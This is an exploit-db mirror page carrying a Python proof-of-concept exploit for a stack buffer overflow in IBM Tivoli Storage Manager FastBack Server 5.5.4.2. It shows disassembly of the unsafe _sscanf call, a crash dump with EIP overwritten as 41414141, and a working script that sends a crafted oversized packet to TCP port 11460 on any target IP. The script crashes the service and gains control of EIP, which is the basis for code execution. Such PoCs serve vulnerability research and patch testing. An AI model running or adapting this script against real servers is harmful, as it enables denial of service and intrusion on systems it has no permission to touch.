IBM Tivoli Storage Manager FastBack Server 5.5.4.2 – ‘_FXCLI_GetConfFileChunk’ Stack Buffer Overflow (PoC)

  • 作者: Ptrace Security
    日期: 2015-12-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38980/
  • #!/usr/bin/python
    # 
    ################################################################################
    #
    #Title: IBM Tivoli Storage Manager FastBack Server 5.5.4.2
    # _FXCLI_GetConfFileChunk Stack Buffer Overflow Vulnerability
    # Date: 14 December 2015
    # Author: Gianni Gnesa (gnix) 
    #
    #Vendor Homepage: http://www.ibm.com/
    #Software Name: IBM Tivoli Storage Manager FastBack 
    # Software Version: 5.5.4.2 (x86)
    #Software Link: - Go to https://www-01.ibm.com/marketing/iwm/tnd/search.jsp?pn=Tivoli+Storage+Manager
    # - Select "IBM Tivoli Storage Manager FastBack Try-and-Buy" 
    # (Version 5.5.4.2, Size: 120.7 MB)
    #
    #Tested on: Windows 7 Professional (x86)
    #
    ################################################################################
    #
    # Vulnerability:
    # ==============
    #
    # The vulnerability is a stack buffer overflow in the _FXCLI_GetConfFileChunk 
    # function caused by the insecure usage of _sscanf while parsing user-controlled 
    # input.
    #
    # .text:0057898Elea eax, [ebp+var_210]
    # .text:00578994pusheax
    # .text:00578995lea ecx, [ebp+var_108]
    # .text:0057899Bpushecx
    # .text:0057899Clea edx, [ebp+var_20C]
    # .text:005789A2pushedx
    # .text:005789A3lea eax, [ebp+var_4]
    # .text:005789A6pusheax
    # .text:005789A7lea ecx, [ebp+var_104]<=== Buffer that will be overwritten
    # .text:005789ADpushecx
    # .text:005789AEpushoffset $SG128635 ; "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d"
    # .text:005789B3mov edx, [ebp+Src]
    # .text:005789B6pushedx ; Src <=== Buffer under our control
    # .text:005789B7call_sscanf <=== Stack Buffer Overflow!!!
    #
    ################################################################################
    #
    # Crash:
    # ======
    #
    # (b44.9dc): Access violation - code c0000005 (first chance)
    # First chance exceptions are reported before any exception handling.
    # This exception may be expected and handled.
    # eax=00000000 ebx=01cd4fb8 ecx=01dacf8c edx=776870b4 esi=01cd4fb8 edi=00000000
    # eip=41414141 esp=01dae328 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
    # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246
    # 41414141 ?????
    #
    ################################################################################
    
    import sys
    import time
    import socket
    from struct import pack
    
    
    def create_pkt(opcode, p1="", p2="", p3=""):
    
    	# psAgentCommand (0x30 bytes)
    	buf = "\x44" * 0xC
    	buf+= pack("<L", opcode)			# opcode
    
    	buf+= pack("<i", 0x0)				# 1st memcpy: offset (in psCommandBuffer.data) for Src field 
    	buf+= pack("<i", len(p1)) 			# 1st memcpy: size field
    	buf+= pack("<i", len(p1))			# 2nd memcpy: offset (in psCommandBuffer.data) for Src field
    	buf+= pack("<i", len(p2)) 			# 2nd memcpy: size field
    	buf+= pack("<i", len(p1) + len(p2))	# 3rd memcpy: offset (in psCommandBuffer.data) for Src field
    	buf+= pack("<i", len(p3)) 			# 3rd memcpy: size field
    
    	buf+= "\x44\x44\x44\x44"
    	buf+= "\x44\x44\x44\x44"
    
    	# psCommandBuffer
    	buf+= p1
    	buf+= p2
    	buf+= p3
    	
    	# buf len - 4 because the packet length is not included
    	buf = pack(">i", len(buf)-4) + buf
    	
    	return buf
    	
    	
    def main():
    	if len(sys.argv) != 2:
    		print "Usage: %s <ip_address>\n" % sys.argv[0]
    		sys.exit(1)
    
    	server = sys.argv[1]
    	port = 11460
    
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	s.connect((server, port))
    	
    	pkt = create_pkt(	opcode=0x531,
    						p1 = "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % ("A"*10000,0,0,0,0),
    						p2 = "B" * 24000,
    						p3 = "C" * 24000 )
    
    	s.send(pkt)	
    	s.close()
    
    	print "[+] Packet sent."
    	sys.exit(0) 
    	
    	
    if __name__ == "__main__":
    	main()